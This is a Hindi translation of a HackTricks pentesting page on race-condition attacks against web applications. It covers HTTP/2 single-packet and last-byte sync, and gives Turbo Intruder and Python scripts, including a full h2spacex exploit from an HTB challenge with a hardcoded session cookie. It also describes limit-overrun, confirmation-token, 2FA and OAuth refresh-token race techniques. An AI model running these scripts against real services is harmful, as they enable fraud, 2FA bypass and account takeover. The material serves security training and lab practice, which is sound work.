Race Condition

Trickest का उपयोग करें ताकि आप दुनिया के सबसे उन्नत सामुदायिक उपकरणों द्वारा संचालित कार्यप्रवाहों को आसानी से बना और स्वचालित कर सकें। आज ही एक्सेस प्राप्त करें:

HackTricks का समर्थन करें

इस तकनीक की गहरी समझ प्राप्त करने के लिए https://portswigger.net/research/smashing-the-state-machine में मूल रिपोर्ट देखें

Race Condition हमलों को बढ़ाना

Race conditions का लाभ उठाने में मुख्य बाधा यह सुनिश्चित करना है कि कई अनुरोध एक ही समय में संभाले जाएं, उनकी प्रसंस्करण समय में बहुत कम अंतर के साथ—आदर्श रूप से, 1ms से कम

यहाँ अनुरोधों को समन्वयित करने के कुछ तकनीकें हैं:

HTTP/2 सिंगल-पैकेट हमला बनाम HTTP/1.1 लास्ट-बाइट समन्वय

  • HTTP/2: एकल TCP कनेक्शन पर दो अनुरोध भेजने का समर्थन करता है, नेटवर्क जिटर के प्रभाव को कम करता है। हालाँकि, सर्वर-साइड भिन्नताओं के कारण, दो अनुरोध एक सुसंगत race condition शोषण के लिए पर्याप्त नहीं हो सकते हैं।

  • HTTP/1.1 'लास्ट-बाइट सिंक': 20-30 अनुरोधों के अधिकांश भागों को पूर्व-भेजने की अनुमति देता है, एक छोटे टुकड़े को रोकता है, जिसे फिर एक साथ भेजा जाता है, सर्वर पर समानांतर आगमन प्राप्त करता है।

लास्ट-बाइट सिंक के लिए तैयारी में शामिल हैं:

  1. अंतिम बाइट के बिना हेडर और बॉडी डेटा भेजना, स्ट्रीम को समाप्त किए बिना।

  2. प्रारंभिक भेजने के बाद 100ms के लिए रुकना।

  3. अंतिम फ्रेम को बैच करने के लिए Nagle के एल्गोरिदम का उपयोग करने के लिए TCP_NODELAY को अक्षम करना।

  4. कनेक्शन को गर्म करने के लिए पिंग करना।

रोकें गए फ्रेम का अगला भेजना एक ही पैकेट में उनके आगमन का परिणाम होना चाहिए, जिसे Wireshark के माध्यम से सत्यापित किया जा सकता है। यह विधि स्थिर फ़ाइलों पर लागू नहीं होती है, जो आमतौर पर RC हमलों में शामिल नहीं होती हैं।

सर्वर आर्किटेक्चर के अनुकूलन

लक्ष्य की आर्किटेक्चर को समझना महत्वपूर्ण है। फ्रंट-एंड सर्वर अनुरोधों को अलग तरीके से रूट कर सकते हैं, जो समय को प्रभावित करता है। तुच्छ अनुरोधों के माध्यम से पूर्व-निर्धारित सर्वर-साइड कनेक्शन गर्म करना, अनुरोध समय को सामान्य कर सकता है।

सत्र-आधारित लॉकिंग को संभालना

PHP के सत्र हैंडलर जैसे ढांचे सत्र द्वारा अनुरोधों को अनुक्रमित करते हैं, संभावित रूप से कमजोरियों को अस्पष्ट करते हैं। प्रत्येक अनुरोध के लिए विभिन्न सत्र टोकन का उपयोग इस समस्या को हल कर सकता है।

दर या संसाधन सीमाओं को पार करना

यदि कनेक्शन गर्म करना प्रभावी नहीं है, तो डमी अनुरोधों की बाढ़ के माध्यम से वेब सर्वर की दर या संसाधन सीमा विलंब को जानबूझकर सक्रिय करना एकल-पैकेट हमले को सुविधाजनक बना सकता है, जिससे सर्वर-साइड विलंब उत्पन्न होता है जो race conditions के लिए अनुकूल है।

हमले के उदाहरण

  • Tubo Intruder - HTTP2 सिंगल-पैकेट हमला (1 एंडपॉइंट): आप अनुरोध को Turbo intruder (Extensions -> Turbo Intruder -> Send to Turbo Intruder) पर भेज सकते हैं, आप अनुरोध में उस मान को बदल सकते हैं जिसे आप %s के लिए ब्रूट फोर्स करना चाहते हैं जैसे csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s और फिर ड्रॉप डाउन से examples/race-single-packer-attack.py का चयन करें:

यदि आप विभिन्न मान भेजने जा रहे हैं, तो आप कोड को इस कोड के साथ संशोधित कर सकते हैं जो क्लिपबोर्ड से वर्डलिस्ट का उपयोग करता है:

passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')

यदि वेब HTTP2 का समर्थन नहीं करता (केवल HTTP1.1) तो Engine.THREADED या Engine.BURP का उपयोग करें, Engine.BURP2 के बजाय।

  • Tubo Intruder - HTTP2 एकल-पैकेट हमला (कई एंडपॉइंट): यदि आपको 1 एंडपॉइंट पर एक अनुरोध भेजने की आवश्यकता है और फिर RCE को ट्रिगर करने के लिए अन्य एंडपॉइंट्स पर कई अनुरोध भेजने की आवश्यकता है, तो आप race-single-packet-attack.py स्क्रिप्ट को इस तरह बदल सकते हैं:

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)

# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0

'''

# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt

# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)

# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)

# send all the queued requests for this attempt
engine.openGate(currentAttempt)
  • यह Repeater में Burp Suite के नए 'Send group in parallel' विकल्प के माध्यम से भी उपलब्ध है।

  • limit-overrun के लिए आप समूह में एक ही अनुरोध 50 बार जोड़ सकते हैं।

  • connection warming के लिए, आप group के शुरुआत में कुछ अनुरोध जोड़ सकते हैं जो वेब सर्वर के कुछ गैर-स्थिर भाग पर हों।

  • delaying प्रक्रिया के लिए एक अनुरोध और दूसरे के बीच प्रसंस्करण में 2 उप-राज्य चरणों में, आप दोनों अनुरोधों के बीच अतिरिक्त अनुरोध जोड़ सकते हैं

  • multi-endpoint RC के लिए, आप request भेजना शुरू कर सकते हैं जो hidden state की ओर जाता है और फिर इसके तुरंत बाद 50 requests जो hidden state का लाभ उठाते हैं।

  • Automated python script: इस स्क्रिप्ट का लक्ष्य एक उपयोगकर्ता के ईमेल को बदलना है जबकि इसे लगातार सत्यापित किया जा रहा है जब तक कि नए ईमेल का सत्यापन टोकन अंतिम ईमेल पर नहीं पहुंचता (यह इसलिए है क्योंकि कोड में एक RC देखा जा रहा था जहां एक ईमेल को संशोधित करना संभव था लेकिन सत्यापन पुराने पर भेजा गया था क्योंकि ईमेल को इंगित करने वाला चर पहले से पहले वाले के साथ भरा हुआ था)। जब प्राप्त ईमेल में "objetivo" शब्द पाया जाता है, तो हम जानते हैं कि हमें बदले गए ईमेल का सत्यापन टोकन प्राप्त हुआ है और हम हमले को समाप्त कर देते हैं।

# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests

cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"

# change these headers

headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""

bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'

headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"

host = "94.237.56.46"
puerto =39697


url = "https://"+host+":"+str(puerto)+"/email/"

response = requests.get(url, verify=False)


while "objetivo" not in response.text:

urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"

responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one

Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)

print(responseReset.status_code)

h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)

h2_conn.setup_connection()

try_num = 100

stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)

all_headers_frames = []  # all headers frame + data frames which have not the last byte
all_data_frames = []  # all data frames which contain the last byte


for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(  # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)

all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)


# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)

# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)

h2_conn.send_bytes(temp_headers_bytes)

# wait some time
sleep(0.1)

# send ping frame to warm up connection
h2_conn.send_ping_frame()

# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)

resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()

print('---')

sleep(3)
h2_conn.close_connection()

response = requests.get(url, verify=False)

Improving Single Packet Attack

मूल शोध में यह बताया गया है कि इस हमले की सीमा 1,500 बाइट्स है। हालाँकि, इस पोस्ट में यह बताया गया है कि कैसे एकल पैकेट हमले की 1,500-बाइट सीमा को IP लेयर फ्रैग्मेंटेशन का उपयोग करके TCP की 65,535 B विंडो सीमा तक बढ़ाया जा सकता है (एकल पैकेट को कई IP पैकेट में विभाजित करना) और उन्हें अलग-अलग क्रम में भेजना, जिससे पैकेट को फिर से इकट्ठा करने से रोका जा सके जब तक सभी टुकड़े सर्वर तक नहीं पहुँच जाते। इस तकनीक ने शोधकर्ता को लगभग 166ms में 10,000 अनुरोध भेजने की अनुमति दी।

ध्यान दें कि हालांकि यह सुधार RC में हमले को अधिक विश्वसनीय बनाता है जिसमें सैकड़ों/हजारों पैकेट एक साथ आने की आवश्यकता होती है, लेकिन इसके कुछ सॉफ़्टवेयर सीमाएँ भी हो सकती हैं। कुछ लोकप्रिय HTTP सर्वर जैसे Apache, Nginx और Go में SETTINGS_MAX_CONCURRENT_STREAMS सेटिंग क्रमशः 100, 128 और 250 है। हालाँकि, अन्य जैसे NodeJS और nghttp2 में यह असीमित है। इसका मतलब यह है कि Apache एकल TCP कनेक्शन से केवल 100 HTTP कनेक्शनों पर विचार करेगा (इस RC हमले को सीमित करना)।

आप इस तकनीक का उपयोग करते हुए कुछ उदाहरण https://github.com/Ry0taK/first-sequence-sync/tree/main पर पा सकते हैं।

Raw BF

पिछले शोध से पहले कुछ पेलोड्स का उपयोग किया गया था जो बस पैकेट को जितनी जल्दी हो सके भेजने की कोशिश करते थे ताकि एक RC का कारण बन सके।

  • Repeater: पिछले अनुभाग से उदाहरण देखें।

  • Intruder: Intruder को request भेजें, Options menu के अंदर threads की संख्या को 30 पर सेट करें, और पेलोड के रूप में Null payloads का चयन करें और 30 उत्पन्न करें।

  • Turbo Intruder

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)

def handleResponse(req, interesting):
table.add(req)
  • Python - asyncio

import asyncio
import httpx

async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text

async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))

# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)

# Print results
for r in results:
print(r)

# Async2sync sleep
await asyncio.sleep(0.5)
print(results)

asyncio.run(main())

RC Methodology

Limit-overrun / TOCTOU

यह रेस कंडीशन का सबसे बुनियादी प्रकार है जहाँ कमजोरियाँ उन स्थानों पर प्रकट होती हैं जो आपको एक क्रिया करने के लिए कितनी बार सीमित करते हैं। जैसे कि एक वेब स्टोर में एक ही छूट कोड का कई बार उपयोग करना। एक बहुत आसान उदाहरण इस रिपोर्ट या इस बग** में पाया जा सकता है।**

इस प्रकार के हमले के कई रूप हैं, जिनमें शामिल हैं:

  • एक उपहार कार्ड को कई बार भुनाना

  • एक उत्पाद को कई बार रेटिंग देना

  • अपने खाते के बैलेंस से अधिक नकद निकालना या स्थानांतरित करना

  • एक ही CAPTCHA समाधान का पुन: उपयोग करना

  • एंटी-ब्रूट-फोर्स दर सीमा को बायपास करना

Hidden substates

जटिल रेस कंडीशनों का शोषण अक्सर छिपे हुए या अनपेक्षित मशीन उप-राज्यों के साथ बातचीत करने के लिए संक्षिप्त अवसरों का लाभ उठाने में शामिल होता है। इसे इस प्रकार से निपटें:

  1. संभावित छिपे हुए उप-राज्यों की पहचान करें

  • उन एंडपॉइंट्स को पहचानने से शुरू करें जो महत्वपूर्ण डेटा को संशोधित या बातचीत करते हैं, जैसे उपयोगकर्ता प्रोफाइल या पासवर्ड रीसेट प्रक्रियाएँ। ध्यान केंद्रित करें:

  • स्टोरेज: सर्वर-साइड स्थायी डेटा को संभालने वाले एंडपॉइंट्स को प्राथमिकता दें, न कि क्लाइंट-साइड डेटा को संभालने वाले।

  • क्रिया: उन ऑपरेशनों की तलाश करें जो मौजूदा डेटा को बदलते हैं, जो नए डेटा जोड़ने की तुलना में शोषण योग्य स्थितियाँ बनाने की अधिक संभावना रखते हैं।

  • कीइंग: सफल हमले आमतौर पर उसी पहचानकर्ता पर की गई ऑपरेशनों में शामिल होते हैं, जैसे उपयोगकर्ता नाम या रीसेट टोकन।

  1. प्रारंभिक परीक्षण करें

  • पहचाने गए एंडपॉइंट्स पर रेस कंडीशन हमलों के साथ परीक्षण करें, किसी भी अपेक्षित परिणामों से विचलन के लिए अवलोकन करें। अप्रत्याशित प्रतिक्रियाएँ या एप्लिकेशन व्यवहार में परिवर्तन एक कमजोरी का संकेत दे सकते हैं।

  1. कमजोरी का प्रदर्शन करें

  • हमले को कमजोरियों का शोषण करने के लिए आवश्यक न्यूनतम अनुरोधों की संख्या तक सीमित करें, अक्सर केवल दो। इस चरण में सटीक समय के कारण कई प्रयासों या स्वचालन की आवश्यकता हो सकती है।

Time Sensitive Attacks

अनुरोधों के समय में सटीकता कमजोरियों को प्रकट कर सकती है, विशेष रूप से जब सुरक्षा टोकनों के लिए पूर्वानुमानित विधियों जैसे टाइमस्टैम्प का उपयोग किया जाता है। उदाहरण के लिए, टाइमस्टैम्प के आधार पर पासवर्ड रीसेट टोकन उत्पन्न करना समानांतर अनुरोधों के लिए समान टोकन की अनुमति दे सकता है।

शोषण करने के लिए:

  • सटीक समय का उपयोग करें, जैसे एकल पैकेट हमला, समानांतर पासवर्ड रीसेट अनुरोध करने के लिए। समान टोकन एक कमजोरी का संकेत देते हैं।

उदाहरण:

  • एक ही समय में दो पासवर्ड रीसेट टोकन का अनुरोध करें और उनकी तुलना करें। मेल खाते टोकन टोकन उत्पन्न करने में एक दोष का सुझाव देते हैं।

इसे आजमाने के लिए PortSwigger Lab को देखें।

Hidden substates case studies

Pay & add an Item

इसे देखने के लिए PortSwigger Lab पर जाएँ कि कैसे भुगतान करें और एक अतिरिक्त आइटम जोड़ें जिसके लिए आपको भुगतान करने की आवश्यकता नहीं है

Confirm other emails

विचार यह है कि एक ईमेल पते की पुष्टि करें और इसे एक अलग में बदलें यह देखने के लिए कि क्या प्लेटफ़ॉर्म नए बदले गए को सत्यापित करता है।

इस शोध के अनुसार, Gitlab इस तरीके से अधिग्रहण के लिए कमजोर था क्योंकि यह एक ईमेल के ईमेल सत्यापन टोकन को दूसरे ईमेल पर भेज सकता है

इसे आजमाने के लिए PortSwigger Lab को देखें।

Hidden Database states / Confirmation Bypass

यदि 2 अलग-अलग लेखन का उपयोग करके जानकारी को डेटाबेस के अंदर जोड़ने के लिए किया जाता है, तो एक छोटा सा समय होता है जहाँ केवल पहला डेटा डेटाबेस के अंदर लिखा गया है। उदाहरण के लिए, जब एक उपयोगकर्ता बनाया जाता है, तो उपयोगकर्ता नाम और पासवर्ड लिखे जा सकते हैं और फिर टोकन नए बनाए गए खाते की पुष्टि करने के लिए लिखा जाता है। इसका मतलब है कि एक छोटे समय के लिए खाते की पुष्टि करने के लिए टोकन शून्य है

इसलिए एक खाता पंजीकृत करना और तुरंत पुष्टि करने के लिए एक खाली टोकन के साथ कई अनुरोध भेजना (token= या token[]= या किसी अन्य भिन्नता) एक ऐसा खाता पुष्टि करने की अनुमति दे सकता है जहाँ आप ईमेल को नियंत्रित नहीं करते हैं।

इसे आजमाने के लिए PortSwigger Lab को देखें।

Bypass 2FA

निम्नलिखित प्सेउडो-कोड रेस कंडीशन के प्रति संवेदनशील है क्योंकि बहुत छोटे समय में 2FA लागू नहीं होता जबकि सत्र बनाया जाता है:

session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form

OAuth2 शाश्वत स्थायीता

कई OAUth प्रदाता हैं। ये सेवाएँ आपको एक एप्लिकेशन बनाने और उन उपयोगकर्ताओं को प्रमाणित करने की अनुमति देंगी जिन्हें प्रदाता ने पंजीकृत किया है। ऐसा करने के लिए, क्लाइंट को आपके एप्लिकेशन को OAUth प्रदाता के अंदर उनके कुछ डेटा तक पहुँचने की अनुमति देनी होगी। तो, यहाँ तक बस एक सामान्य लॉगिन है जैसे google/linkedin/github... जहाँ आपको एक पृष्ठ पर संकेत दिया जाता है: "एप्लिकेशन <InsertCoolName> आपकी जानकारी तक पहुँचने की इच्छा रखता है, क्या आप इसे अनुमति देना चाहते हैं?"

authorization_code में रेस कंडीशन

समस्या तब उत्पन्न होती है जब आप इसे स्वीकार करते हैं और स्वचालित रूप से एक authorization_code को दुर्भावनापूर्ण एप्लिकेशन को भेजते हैं। फिर, यह **एप्लिकेशन OAUth सेवा प्रदाता में रेस कंडीशन का दुरुपयोग करता है ताकि आपके खाते के लिए authorization_code से एक से अधिक AT/RT (Authentication Token/Refresh Token) उत्पन्न कर सके। मूल रूप से, यह इस तथ्य का दुरुपयोग करेगा कि आपने एप्लिकेशन को अपने डेटा तक पहुँचने की अनुमति दी है ताकि कई खाते बनाए जा सकें। फिर, यदि आप एप्लिकेशन को अपने डेटा तक पहुँचने की अनुमति देना बंद कर देते हैं, तो AT/RT का एक जोड़ा हटा दिया जाएगा, लेकिन अन्य अभी भी मान्य रहेंगे

Refresh Token में रेस कंडीशन

एक बार जब आप एक मान्य RT प्राप्त कर लेते हैं तो आप इसका दुरुपयोग करने की कोशिश कर सकते हैं ताकि कई AT/RT उत्पन्न किए जा सकें और **यहां तक कि यदि उपयोगकर्ता दुर्भावनापूर्ण एप्लिकेशन के लिए अपनी डेटा तक पहुँचने की अनुमति रद्द कर देता है, तो भी कई RTs मान्य रहेंगे।

RC वेब सॉकेट्स में

WS_RaceCondition_PoC में आप एक PoC पा सकते हैं जो Java में वेब सॉकेट संदेशों को समानांतर में भेजने के लिए है ताकि वेब सॉकेट्स में रेस कंडीशंस का दुरुपयोग किया जा सके

संदर्भ

HackTricks का समर्थन करें

Trickest का उपयोग करें ताकि आसानी से वर्कफ़्लो बनाएं और स्वचालित करें जो दुनिया के सबसे उन्नत सामुदायिक उपकरणों द्वारा संचालित हों। आज ही एक्सेस प्राप्त करें:

Last updated